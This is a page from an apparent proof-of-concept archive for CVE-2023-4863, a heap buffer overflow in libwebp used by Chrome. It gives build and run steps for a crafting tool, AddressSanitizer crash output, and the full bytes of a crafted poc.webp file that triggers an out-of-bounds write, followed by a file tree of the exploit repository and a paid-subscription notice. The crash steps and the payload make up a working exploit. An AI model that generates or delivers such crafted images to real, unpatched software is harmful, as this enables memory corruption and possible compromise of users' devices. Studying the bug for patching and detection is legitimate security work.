Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-4863 PoC — Google Chrome 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Google Chrome 缓冲区错误漏洞 (CVE-2023-4863)
Description:Heap buffer overflow in libwebp in Google Chrome prior to 116.0.5845.187 and libwebp 1.3.2 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)
Readme
# level 1: craft.c -> bad.webp
```bash
# exist: docker 813b6b757038 /webp
cd CVE-2023-4863
make -f makefile.unix -B
# fatal error: jpeglib.h: No such file or directory
apt-get update
apt-get install libjpeg-dev
# fatal error: png.h: No such file or directory
apt-get install libpng-dev
# fatal error: tiffio.h: No such file or directory
apt-get install libtiff-dev
# try again
make -f makefile.unix -B

cd examples
gcc -o craft craft.c
./craft bad.webp
./dwebp bad.webp -o test.png

# result: 
=================================================================
==983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x555c7a907cba bp 0x7ffe40ab5ed0 sp 0x7ffe40ab5ec0
WRITE of size 1 at 0x626000002f28 thread T0
    #0 0x555c7a907cb9 in BuildHuffmanTable (/webp_test1/examples/dwebp+0xa1cb9)
    #1 0x555c7a908047 in VP8LBuildHuffmanTable (/webp_test1/examples/dwebp+0xa2047)
    #2 0x555c7a89cfd7 in ReadHuffmanCode (/webp_test1/examples/dwebp+0x36fd7)
    #3 0x555c7a8a1a39 in DecodeImageStream (/webp_test1/examples/dwebp+0x3ba39)
    #4 0x555c7a8a58be in VP8LDecodeHeader (/webp_test1/examples/dwebp+0x3f8be)
    #5 0x555c7a8a775b in DecodeInto (/webp_test1/examples/dwebp+0x4175b)
    #6 0x555c7a8aa517 in WebPDecode (/webp_test1/examples/dwebp+0x44517)
    #7 0x555c7a875ef1 in main (/webp_test1/examples/dwebp+0xfef1)
    #8 0x7f40a58afd8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #9 0x7f40a58afe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #10 0x555c7a877ee4 in _start (/webp_test1/examples/dwebp+0x11ee4)

0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
    #0 0x7f40a5ca1887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x555c7a8a1868 in DecodeImageStream (/webp_test1/examples/dwebp+0x3b868)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/webp_test1/examples/dwebp+0xa1cb9) in BuildHuffmanTable
Shadow bytes around the buggy address:
  0x0c4c7fff8590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff85e0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==983==ABORTING
```
reference: \
https://blog.isosceles.com/the-webp-0day/

# level 2: poc.py -> poc.webp
write 4-byte data
```bash
cd ./examples
python poc.py

# result: print poc.webp
bytearray(b'RIFFz\x02\x00\x00WEBPVP8Lm\x02\x00\x00/\x00\x00\x00\x10\x1a\x0f\x82$\t\x92$I\x12DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDffffffffffffffffffV\xcf\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xdd\x9d\x07A\x92\x04I\x92$\t0"""""""""""""""""""""""""""""""""2333333333333333333333333333333333333333333333333333333333\xb3zvwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\xf7\xce\x83 I\x82$I\x92\x04\x18\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99Y=\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb{\xe7A\x90$A\x92$I\x02\x8c\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xac\x9e\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xbd\xf3 H\x92 I\x92$EV\xcf\xde\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x01')
```
reference: \
https://www.darknavy.org/blog/exploiting_the_libwebp_vulnerability_part_1/
File Snapshot

[4.0K] /data/pocs/87741ddc63f51cfa9bd4ff48c2995bb028f4dcb1 ├── [7.4K] Android.mk ├── [2.7K] AUTHORS ├── [ 34] autogen.sh ├── [ 11K] build.gradle ├── [241K] ChangeLog ├── [4.0K] cmake │   ├── [3.3K] config.h.in │   ├── [6.1K] cpu.cmake │   ├── [5.0K] deps.cmake │   └── [ 486] WebPConfig.cmake.in ├── [ 30K] CMakeLists.txt ├── [ 170] codereview.settings ├── [ 28K] configure.ac ├── [2.6K] CONTRIBUTING.md ├── [1.5K] COPYING ├── [4.0K] doc │   ├── [ 13K] api.md │   ├── [5.3K] building.md │   ├── [ 983] specs_generation.md │   ├── [1.9K] template.html │   ├── [ 501] TODO │   ├── [ 18K] tools.md │   ├── [ 32K] webp-container-spec.txt │   └── [ 46K] webp-lossless-bitstream-spec.txt ├── [4.0K] examples │   ├── [2.1K] Android.mk │   ├── [ 11K] anim_diff.c │   ├── [4.2K] anim_dump.c │   ├── [ 26K] anim_util.c │   ├── [2.3K] anim_util.h │   ├── [ 236] bad.webp │   ├── [ 22K] craft │   ├── [ 20K] craft.c │   ├── [1.7M] cwebp │   ├── [ 48K] cwebp.c │   ├── [123K] cwebp.o │   ├── [1.6M] dwebp │   ├── [ 15K] dwebp.c │   ├── [ 37K] dwebp.o │   ├── [ 21K] enough │   ├── [ 24K] enough.c │   ├── [4.1K] example_util.c │   ├── [2.7K] example_util.h │   ├── [ 14K] example_util.o │   ├── [ 20K] gif2webp.c │   ├── [ 13K] gifdec.c │   ├── [3.9K] gifdec.h │   ├── [ 11K] img2webp.c │   ├── [ 14K] libexample_util.a │   ├── [3.5K] Makefile.am │   ├── [2.3K] poc.py │   ├── [ 642] poc.webp │   ├── [1.8K] stopwatch.h │   ├── [ 48K] test_ref.ppm │   ├── [4.8K] test.webp │   ├── [1.9K] unicode_gif.h │   ├── [4.4K] unicode.h │   ├── [ 21K] vwebp.c │   ├── [ 40K] webpinfo.c │   └── [ 42K] webpmux.c ├── [4.0K] extras │   ├── [4.8K] extras.c │   ├── [3.2K] extras.h │   ├── [ 12K] get_disto.c │   ├── [1.3K] Makefile.am │   ├── [3.7K] quality_estimate.c │   ├── [2.4K] vwebp_sdl.c │   ├── [1.5K] webp_quality.c │   ├── [3.1K] webp_to_sdl.c │   └── [ 890] webp_to_sdl.h ├── [4.0K] gradle │   └── [4.0K] wrapper │   ├── [ 57K] gradle-wrapper.jar │   └── [ 202] gradle-wrapper.properties ├── [ 451] gradle.properties ├── [5.6K] gradlew ├── [2.9K] gradlew.bat ├── [4.0K] imageio │   ├── [1.1K] Android.mk │   ├── [2.7K] image_dec.c │   ├── [2.2K] image_dec.h │   ├── [5.3K] image_dec.o │   ├── [ 21K] image_enc.c │   ├── [3.0K] image_enc.h │   ├── [ 42K] image_enc.o │   ├── [4.8K] imageio_util.c │   ├── [2.5K] imageio_util.h │   ├── [9.6K] imageio_util.o │   ├── [ 11K] jpegdec.c │   ├── [1.1K] jpegdec.h │   ├── [ 17K] jpegdec.o │   ├── [111K] libimagedec.a │   ├── [ 42K] libimageenc.a │   ├── [9.9K] libimageio_util.a │   ├── [1.1K] Makefile.am │   ├── [1.5K] metadata.c │   ├── [1.3K] metadata.h │   ├── [3.5K] metadata.o │   ├── [ 11K] pngdec.c │   ├── [1.2K] pngdec.h │   ├── [ 22K] pngdec.o │   ├── [9.5K] pnmdec.c │   ├── [1.1K] pnmdec.h │   ├── [ 24K] pnmdec.o │   ├── [9.1K] tiffdec.c │   ├── [1.2K] tiffdec.h │   ├── [ 16K] tiffdec.o │   ├── [7.8K] webpdec.c │   ├── [2.5K] webpdec.h │   ├── [ 22K] webpdec.o │   ├── [ 15K] wicdec.c │   └── [1.1K] wicdec.h ├── [4.0K] infra │   ├── [3.5K] common.sh │   ├── [6.2K] compile_android.sh │   ├── [2.6K] compile_js.sh │   ├── [ 11K] compile.sh │   └── [3.1K] run_static_analysis.sh ├── [5.2K] iosbuild.sh ├── [4.0K] m4 │   └── [ 13K] ax_pthread.m4 ├── [ 155] Makefile.am ├── [ 17K] makefile.unix ├── [ 18K] Makefile.vc ├── [4.0K] man │   ├── [ 13K] cwebp.1 │   ├── [4.7K] dwebp.1 │   ├── [5.4K] gif2webp.1 │   ├── [3.9K] img2webp.1 │   ├── [ 285] Makefile.am │   ├── [2.5K] vwebp.1 │   ├── [1.8K] webpinfo.1 │   └── [6.4K] webpmux.1 ├── [ 13K] NEWS ├── [1.4K] PATENTS ├── [8.8K] PRESUBMIT.py ├── [1.5K] README-Google.md ├── [5.2K] README.md ├── [4.0K] sharpyuv │   ├── [ 86K] libsharpyuv.a │   ├── [ 310] libsharpyuv.pc.in │   ├── [1.0K] libsharpyuv.rc │   ├── [1.4K] Makefile.am │   ├── [ 21K] sharpyuv.c │   ├── [ 652] sharpyuv_cpu.c │   ├── [ 855] sharpyuv_cpu.h │   ├── [6.0K] sharpyuv_cpu.o │   ├── [3.8K] sharpyuv_csp.c │   ├── [1.8K] sharpyuv_csp.h │   ├── [8.3K] sharpyuv_csp.o │   ├── [3.3K] sharpyuv_dsp.c │   ├── [1.2K] sharpyuv_dsp.h │   ├── [6.0K] sharpyuv_dsp.o │   ├── [ 13K] sharpyuv_gamma.c │   ├── [1.3K] sharpyuv_gamma.h │   ├── [ 17K] sharpyuv_gamma.o │   ├── [7.1K] sharpyuv.h │   ├── [7.2K] sharpyuv_neon.c │   ├── [1.8K] sharpyuv_neon.o │   ├── [ 33K] sharpyuv.o │   ├── [8.5K] sharpyuv_sse2.c │   └── [ 13K] sharpyuv_sse2.o ├── [4.0K] src │   ├── [4.0K] dec │   │   ├── [7.8K] alpha_dec.c │   │   ├── [ 11K] alpha_dec.o │   │   ├── [1.6K] alphai_dec.h │   │   ├── [ 10K] buffer_dec.c │   │   ├── [ 17K] buffer_dec.o │   │   ├── [1.6K] common_dec.h │   │   ├── [ 28K] frame_dec.c │   │   ├── [ 64K] frame_dec.o │   │   ├── [ 30K] idec_dec.c │   │   ├── [ 42K] idec_dec.o │   │   ├── [ 23K] io_dec.c │   │   ├── [ 32K] io_dec.o │   │   ├── [1.0K] Makefile.am │   │   ├── [4.0K] quant_dec.c │   │   ├── [ 11K] quant_dec.o │   │   ├── [ 23K] tree_dec.c │   │   ├── [ 28K] tree_dec.o │   │   ├── [ 22K] vp8_dec.c │   │   ├── [6.8K] vp8_dec.h │   │   ├── [ 58K] vp8_dec.o │   │   ├── [ 11K] vp8i_dec.h │   │   ├── [ 59K] vp8l_dec.c │   │   ├── [ 65K] vp8l_dec.o │   │   ├── [4.6K] vp8li_dec.h │   │   ├── [ 30K] webp_dec.c │   │   ├── [ 35K] webp_dec.o │   │   └── [6.2K] webpi_dec.h │   ├── [4.0K] demux │   │   ├── [ 17K] anim_decode.c │   │   ├── [ 16K] anim_decode.o │   │   ├── [ 31K] demux.c │   │   ├── [ 36K] demux.o │   │   ├── [ 53K] libwebpdemux.a │   │   ├── [ 307] libwebpdemux.pc.in │   │   ├── [1.0K] libwebpdemux.rc │   │   └── [ 623] Makefile.am │   ├── [4.0K] dsp │   │   ├── [ 19K] alpha_processing.c │   │   ├── [ 10K] alpha_processing_mips_dsp_r2.c │   │   ├── [1.8K] alpha_processing_mips_dsp_r2.o │   │   ├── [7.1K] alpha_processing_neon.c │   │   ├── [1.8K] alpha_processing_neon.o │   │   ├── [ 14K] alpha_processing.o │   │   ├── [ 17K] alpha_processing_sse2.c │   │   ├── [ 17K] alpha_processing_sse2.o │   │   ├── [3.7K] alpha_processing_sse41.c │   │   ├── [1.8K] alpha_processing_sse41.o │   │   ├── [7.9K] common_sse2.h │   │   ├── [4.5K] common_sse41.h │   │   ├── [ 18K] cost.c │   │   ├── [7.0K] cost_mips32.c │   │   ├── [1.8K] cost_mips32.o │   │   ├── [4.7K] cost_mips_dsp_r2.c │   │   ├── [1.8K] cost_mips_dsp_r2.o │   │   ├── [4.2K] cost_neon.c │   │   ├── [1.8K] cost_neon.o │   │   ├── [ 15K] cost.o │   │   ├── [4.4K] cost_sse2.c │   │   ├── [7.0K] cost_sse2.o │   │   ├── [7.8K] cpu.c │   │   ├── [8.6K] cpu.h │   │   ├── [6.0K] cpu.o │   │   ├── [ 27K] dec.c │   │   ├── [ 23K] dec_clip_tables.c │   │   ├── [9.1K] dec_clip_tables.o │   │   ├── [ 27K] dec_mips32.c │   │   ├── [1.8K] dec_mips32.o │   │   ├── [ 50K] dec_mips_dsp_r2.c │   │   ├── [1.8K] dec_mips_dsp_r2.o │   │   ├── [ 40K] dec_msa.c │   │   ├── [1.8K] dec_msa.o │   │   ├── [ 68K] dec_neon.c │   │   ├── [1.8K] dec_neon.o │   │   ├── [106K] dec.o │   │   ├── [ 47K] dec_sse2.c │   │   ├── [117K] dec_sse2.o │   │   ├── [1.3K] dec_sse41.c │   │   ├── [1.8K] dec_sse41.o │   │   ├── [ 21K] dsp.h │   │   ├── [ 24K] enc.c │   │   ├── [ 35K] enc_mips32.c │   │   ├── [1.8K] enc_mips32.o │   │   ├── [ 80K] enc_mips_dsp_r2.c │   │   ├── [1.8K] enc_mips_dsp_r2.o │   │   ├── [ 32K] enc_msa.c │   │   ├── [1.8K] enc_msa.o │   │   ├── [ 36K] enc_neon.c │   │   ├── [1.8K] enc_neon.o │   │   ├── [105K] enc.o │   │   ├── [ 58K] enc_sse2.c │   │   ├── [113K] enc_sse2.o │   │   ├── [ 13K] enc_sse41.c │   │   ├── [1.8K] enc_sse41.o │   │   ├── [9.5K] filters.c │   │   ├── [ 21K] filters_mips_dsp_r2.c │   │   ├── [1.8K] filters_mips_dsp_r2.o │   │   ├── [5.7K] filters_msa.c │   │   ├── [1.8K] filters_msa.o │   │   ├── [ 11K] filters_neon.c │   │   ├── [1.8K] filters_neon.o │   │   ├── [10.0K] filters.o │   │   ├── [ 13K] filters_sse2.c │   │   ├── [ 20K] filters_sse2.o │   │   ├── [ 25K] lossless.c │   │   ├── [7.2K] lossless_common.h │   │   ├── [ 38K] lossless_enc.c │   │   ├── [ 14K] lossless_enc_mips32.c │   │   ├── [1.8K] lossless_enc_mips32.o │   │   ├── [ 14K] lossless_enc_mips_dsp_r2.c │   │   ├── [1.8K] lossless_enc_mips_dsp_r2.o │   │   ├── [5.6K] lossless_enc_msa.c │   │   ├── [1.8K] lossless_enc_msa.o │   │   ├── [5.1K] lossless_enc_neon.c │   │   ├── [1.8K] lossless_enc_neon.o │   │   ├── [ 44K] lossless_enc.o │   │   ├── [ 29K] lossless_enc_sse2.c │   │   ├── [ 41K] lossless_enc_sse2.o │   │   ├── [7.6K] lossless_enc_sse41.c │   │   ├── [1.8K] lossless_enc_sse41.o │   │   ├── [ 12K] lossless.h │   │   ├── [ 38K] lossless_mips_dsp_r2.c │   │   ├── [1.8K] lossless_mips_dsp_r2.o │   │   ├── [ 13K] lossless_msa.c │   │   ├── [1.8K] lossless_msa.o │   │   ├── [ 26K] lossless_neon.c │   │   ├── [1.8K] lossless_neon.o │   │   ├── [ 34K] lossless.o │   │   ├── [ 30K] lossless_sse2.c │   │   ├── [ 31K] lossless_sse2.o │   │   ├── [5.2K] lossless_sse41.c │   │   ├── [1.8K] lossless_sse41.o │   │   ├── [7.4K] Makefile.am │   │   ├── [ 12K] mips_macro.h │   │   ├── [ 63K] msa_macro.h │   │   ├── [3.9K] neon.h │   │   ├── [2.6K] quant.h │   │   ├── [7.9K] rescaler.c │   │   ├── [ 13K] rescaler_mips32.c │   │   ├── [1.8K] rescaler_mips32.o │   │   ├── [ 16K] rescaler_mips_dsp_r2.c │   │   ├── [1.8K] rescaler_mips_dsp_r2.o │   │   ├── [ 17K] rescaler_msa.c │   │   ├── [1.8K] rescaler_msa.o │   │   ├── [7.3K] rescaler_neon.c │   │   ├── [1.8K] rescaler_neon.o │   │   ├── [ 14K] rescaler.o │   │   ├── [ 14K] rescaler_sse2.c │   │   ├── [ 20K] rescaler_sse2.o │   │   ├── [5.2K] ssim.c │   │   ├── [ 13K] ssim.o │   │   ├── [5.7K] ssim_sse2.c │   │   ├── [8.6K] ssim_sse2.o │   │   ├── [ 14K] upsampling.c │   │   ├── [ 13K] upsampling_mips_dsp_r2.c │   │   ├── [1.9K] upsampling_mips_dsp_r2.o │   │   ├── [ 28K] upsampling_msa.c │   │   ├── [1.8K] upsampling_msa.o │   │   ├── [ 15K] upsampling_neon.c │   │   ├── [1.8K] upsampling_neon.o │   │   ├── [ 50K] upsampling.o │   │   ├── [ 15K] upsampling_sse2.c │   │   ├── [ 61K] upsampling_sse2.o │   │   ├── [ 13K] upsampling_sse41.c │   │   ├── [1.9K] upsampling_sse41.o │   │   ├── [8.6K] yuv.c │   │   ├── [7.3K] yuv.h │   │   ├── [5.8K] yuv_mips32.c │   │   ├── [1.8K] yuv_mips32.o │   │   ├── [7.9K] yuv_mips_dsp_r2.c │   │   ├── [1.8K] yuv_mips_dsp_r2.o │   │   ├── [6.8K] yuv_neon.c │   │   ├── [1.8K] yuv_neon.o │   │   ├── [ 25K] yuv.o │   │   ├── [ 28K] yuv_sse2.c │   │   ├── [ 63K] yuv_sse2.o │   │   ├── [ 23K] yuv_sse41.c │   │   └── [1.9K] yuv_sse41.o │   ├── [4.0K] enc │   │   ├── [ 16K] alpha_enc.c │   │   ├── [ 18K] alpha_enc.o │   │   ├── [ 16K] analysis_enc.c │   │   ├── [ 23K] analysis_enc.o │   │   ├── [ 29K] backward_references_cost_enc.c │   │   ├── [ 33K] backward_references_cost_enc.o │   │   ├── [ 38K] backward_references_enc.c │   │   ├── [8.6K] backward_references_enc.h │   │   ├── [ 42K] backward_references_enc.o │   │   ├── [5.6K] config_enc.c │   │   ├── [9.3K] config_enc.o │   │   ├── [ 15K] cost_enc.c │   │   ├── [2.5K] cost_enc.h │   │   ├── [ 23K] cost_enc.o │   │   ├── [8.7K] filter_enc.c │   │   ├── [ 11K] filter_enc.o │   │   ├── [ 29K] frame_enc.c │   │   ├── [ 51K] frame_enc.o │   │   ├── [ 46K] histogram_enc.c │   │   ├── [5.1K] histogram_enc.h │   │   ├── [ 71K] histogram_enc.o │   │   ├── [ 14K] iterator_enc.c │   │   ├── [ 61K] iterator_enc.o │   │   ├── [1.7K] Makefile.am │   │   ├── [5.2K] near_lossless_enc.c │   │   ├── [5.1K] near_lossless_enc.o │   │   ├── [ 31K] picture_csp_enc.c │   │   ├── [ 52K] picture_csp_enc.o │   │   ├── [9.1K] picture_enc.c │   │   ├── [ 17K] picture_enc.o │   │   ├── [8.4K] picture_psnr_enc.c │   │   ├── [ 12K] picture_psnr_enc.o │   │   ├── [ 10K] picture_rescale_enc.c │   │   ├── [ 21K] picture_rescale_enc.o │   │   ├── [8.6K] picture_tools_enc.c │   │   ├── [ 20K] picture_tools_enc.o │   │   ├── [ 32K] predictor_enc.c │   │   ├── [ 41K] predictor_enc.o │   │   ├── [ 49K] quant_enc.c │   │   ├── [109K] quant_enc.o │   │   ├── [ 12K] syntax_enc.c │   │   ├── [ 16K] syntax_enc.o │   │   ├── [8.2K] token_enc.c │   │   ├── [ 26K] token_enc.o │   │   ├── [ 21K] tree_enc.c │   │   ├── [ 13K] tree_enc.o │   │   ├── [ 22K] vp8i_enc.h │   │   ├── [ 68K] vp8l_enc.c │   │   ├── [ 91K] vp8l_enc.o │   │   ├── [4.6K] vp8li_enc.h │   │   ├── [ 14K] webp_enc.c │   │   └── [ 18K] webp_enc.o │   ├── [2.3M] libwebp.a │   ├── [ 322] libwebpdecoder.pc.in │   ├── [1.0K] libwebpdecoder.rc │   ├── [ 324] libwebp.pc.in │   ├── [1020] libwebp.rc │   ├── [1.6K] Makefile.am │   ├── [4.0K] mux │   │   ├── [ 57K] anim_encode.c │   │   ├── [1.5K] animi.h │   │   ├── [ 326] libwebpmux.pc.in │   │   ├── [1.0K] libwebpmux.rc │   │   ├── [ 721] Makefile.am │   │   ├── [ 21K] muxedit.c │   │   ├── [7.6K] muxi.h │   │   ├── [ 17K] muxinternal.c │   │   └── [ 19K] muxread.c │   ├── [4.0K] utils │   │   ├── [5.8K] bit_reader_inl_utils.h │   │   ├── [8.8K] bit_reader_utils.c │   │   ├── [7.5K] bit_reader_utils.h │   │   ├── [ 14K] bit_reader_utils.o │   │   ├── [ 11K] bit_writer_utils.c │   │   ├── [5.8K] bit_writer_utils.h │   │   ├── [ 26K] bit_writer_utils.o │   │   ├── [1.6K] color_cache_utils.c │   │   ├── [2.8K] color_cache_utils.h │   │   ├── [3.0K] color_cache_utils.o │   │   ├── [2.8K] endian_inl_utils.h │   │   ├── [2.5K] filters_utils.c │   │   ├── [ 986] filters_utils.h │   │   ├── [5.2K] filters_utils.o │   │   ├── [ 13K] huffman_encode_utils.c │   │   ├── [2.1K] huffman_encode_utils.h │   │   ├── [ 19K] huffman_encode_utils.o │   │   ├── [8.1K] huffman_utils.c │   │   ├── [3.5K] huffman_utils.h │   │   ├── [ 13K] huffman_utils.o │   │   ├── [1.5K] Makefile.am │   │   ├── [ 13K] palette.c │   │   ├── [2.5K] palette.h │   │   ├── [ 13K] palette.o │   │   ├── [8.9K] quant_levels_dec_utils.c │   │   ├── [1.2K] quant_levels_dec_utils.h │   │   ├── [9.6K] quant_levels_dec_utils.o │   │   ├── [4.0K] quant_levels_utils.c │   │   ├── [1.2K] quant_levels_utils.h │   │   ├── [7.6K] quant_levels_utils.o │   │   ├── [1.8K] random_utils.c │   │   ├── [2.1K] random_utils.h │   │   ├── [4.1K] random_utils.o │   │   ├── [5.8K] rescaler_utils.c │   │   ├── [4.0K] rescaler_utils.h │   │   ├── [6.7K] rescaler_utils.o │   │   ├── [ 11K] thread_utils.c │   │   ├── [3.6K] thread_utils.h │   │   ├── [9.1K] thread_utils.o │   │   ├── [8.6K] utils.c │   │   ├── [7.0K] utils.h │   │   └── [3.7K] utils.o │   └── [4.0K] webp │   ├── [ 23K] decode.h │   ├── [ 15K] demux.h │   ├── [ 27K] encode.h │   ├── [3.8K] format_constants.h │   ├── [ 22K] mux.h │   ├── [3.1K] mux_types.h │   └── [2.2K] types.h ├── [4.0K] swig │   ├── [1.4K] libwebp_gc.c │   ├── [1.2K] libwebp.go │   ├── [6.4K] libwebp_go_wrap.c │   ├── [2.1K] libwebp.jar │   ├── [ 52K] libwebp_java_wrap.c │   ├── [8.0K] libwebp.py │   ├── [170K] libwebp_python_wrap.c │   ├── [ 14K] libwebp.swig │   ├── [1.4K] README.md │   └── [1.2K] setup.py ├── [4.0K] tests │   ├── [4.0K] fuzzer │   │   ├── [5.5K] advanced_api_fuzzer.c │   │   ├── [2.5K] animation_api_fuzzer.c │   │   ├── [1.8K] animdecoder_fuzzer.cc │   │   ├── [6.3K] animencoder_fuzzer.cc │   │   ├── [5.2K] enc_dec_fuzzer.cc │   │   ├── [ 182] fuzz.dict │   │   ├── [8.4K] fuzz_utils.h │   │   ├── [ 26K] img_alpha.h │   │   ├── [7.4K] img_grid.h │   │   ├── [406K] img_peak.h │   │   ├── [ 987] makefile.unix │   │   ├── [2.8K] mux_demux_api_fuzzer.c │   │   └── [3.1K] simple_api_fuzzer.c │   └── [ 510] README.md ├── [4.0K] webp_js │   ├── [2.0K] index.html │   ├── [2.5K] index_wasm.html │   ├── [2.6K] README.md │   ├── [1.3M] test_webp_js.webp │   └── [1.3M] test_webp_wasm.webp └── [8.5K] xcframeworkbuild.sh 23 directories, 472 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →